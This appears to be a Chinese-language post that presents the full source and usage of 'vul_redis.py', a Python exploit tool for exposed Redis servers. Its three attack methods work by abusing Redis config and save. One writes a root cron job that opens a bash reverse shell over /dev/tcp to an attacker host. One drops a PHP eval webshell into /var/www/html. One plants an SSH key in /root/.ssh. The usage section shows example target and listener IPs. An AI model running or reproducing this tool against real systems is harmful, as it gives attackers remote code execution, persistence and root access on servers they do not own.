vul_redis.py源码
import socket
import time
from optparse import OptionParser
# 连接redis,return s
def connect(rhost, rport):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((rhost, rport))
return s
# 发送redis命令,return res
def send(s, command):
s.send(command.encode())
time.sleep(1)
buf = s.recv(1024 * 1)
res = buf.decode("utf8", "ignore")
return res
# 获取redis原来的dir、dbfilename,return
def get_config(s):
command = "config get dir\n" \
"config get dbfilename\n"
res = send(s, command).split("\r\n")
return res[4], res[9]
# 写文件然后读出来,目的是消除\n的影响,return f.read()
def init_exp(txt):
f = open("crontab_exp__.txt", "w")
f.write(txt)
f = open("crontab_exp__.txt", "r")
return f.read()
def save(method, rhost, rport, lhost, lport, path, key, password):
# print(method, rhost, rport, lhost, lport, path, key, password)
command = ""
s = connect(rhost, rport)
if not (password is None or password == ""):
auth = send(s, "auth {}\n".format(password))
if auth != "+OK\r\n":
exit(auth)
conf_dir, conf_dbfilename = get_config(s)
# 写定时任务
if method == 1:
if lhost is None or lhost == "":
exit("--lhost can't be empty!!!")
command = "set mars \"\\n* * * * * bash -i >& /dev/tcp/{}/{} 0>&1\\n\"\n" \
"config set dir /var/spool/cron/\n" \
"config set dbfilename root\n" \
"save\n" \
"config set dir {}\n" \
"config set dbfilename {}\n" \
"quit\n".format(lhost, lport, conf_dir, conf_dbfilename)
# 写webshll
elif method == 2:
print("the webshell will be saved in /var/www/html/shell.php")
command = "config set dir {}\n" \
"config set dbfilename shell.php\n" \
"set webshell \"\\n<?php eval($_POST['flag']);?>\\n\"\n" \
"save\n" \
"config set dir {}\n" \
"config set dbfilename {}\n" \
"quit\n".format(path, conf_dir, conf_dbfilename)
# 写ssh公钥
elif method == 3:
if key is None or key == "":
exit("--key can't be empty!!!")
command = "set key \"\\n\\n"+key+"\\n\\n\"\n" \
"config set dir /root/.ssh/\n" \
"config set dbfilename authorized_keyssave\n" \
"save\n" \
"config set dir {}\n" \
"config set dbfilename {}\n" \
"quit\n".format(conf_dir, conf_dbfilename)
# method超出范围
else:
exit("method must be 1 or 2 or 3!!!")
exp = init_exp(command)
res = send(s, exp).split("\r\n")
s.close()
# print(res)
# 判断命令是否成功执行
for i in range(len(exp.split("\n"))-2):
if res[i] != "+OK":
if i == 3 and res[i] == "-ERR":
print("-ERR save: Permission denied")
else:
print(res[i])
return False
print("command execute successfully")
return True
def main():
usage = '"usage:%prog [options] arg1,arg2"'
parser = OptionParser(usage, version="%prog 1.2")
parser.add_option('--rhost', dest='rh', metavar='REMOTE_HOST', type=str,
help='host of the target')
parser.add_option('--rport', dest='rp', metavar='REMOTE_PORT', type=int,
help='port of the target,default 6379', default=6379)
parser.add_option('--lhost', dest='lh', metavar='REVERSE_HOST', type=str,
help='host of the reverse server')
parser.add_option('--lport', dest='lp', metavar='REVERSE_PORT', type=int,
help='port of the reverse server,default 9999', default=9999)
parser.add_option('--path', dest='path', metavar='webshell_path', type=str,
help='the path of webshell,default /var/www/html/', default='/var/www/html/')
parser.add_option('--key', dest='key', metavar='ssh_pubkey', type=str,
help='your public ssh_key')
parser.add_option('--auth', dest='auth', metavar='redis_passwd', type=str,
help='redis password')
parser.add_option('-m', dest='m', metavar='method', type=int,
help='the way of attack,default 1,123', default=1)
(options, args) = parser.parse_args()
save(options.m, options.rh, options.rp, options.lh, options.lp, options.path, options.key, options.auth)
if __name__ == '__main__':
main()
使用方法
Options:
--version show program's version number and exit
-h, --help show this help message and exit
--rhost=REMOTE_HOST host of the target
--rport=REMOTE_PORT port of the target,default 6379
--lhost=REVERSE_HOST host of the reverse server
--lport=REVERSE_PORT port of the reverse server,default 9999
--path=webshell_path the path of webshell,default /var/www/html/
--key=ssh_pubkey your public ssh_key
--auth=redis_passwd redis password
-m method the way of attack,default 1,
1:写定时任务
2:写webshell
3:写ssh公钥
命令执行成功会返回:command execute successfully
,失败会返回具体原因。
python vul_redis.py -m 1 --rhost=192.168.231.154 --lhost=192.168.231.140 [--auth=123456]
--rhost:要攻击的redis服务器ip
--lhost:反弹shell的ip,端口默认是9999,可以通过--lport=9999来修改
--auth:目标redis服务器密码,如果无密码则省略该参数
python vul_redis.py -m 2 --rhost=192.168.231.154 --path=/var/www/html/ [--auth=123456]
--path:webshell保存的绝对路径,默认是/var/www/html/
目录
python vul_redis.py -m 3 --rhost=192.168.231.154 --key="xxxx" [--auth=123456]
此情况说明目标服务器不存在/root/.ssh
目录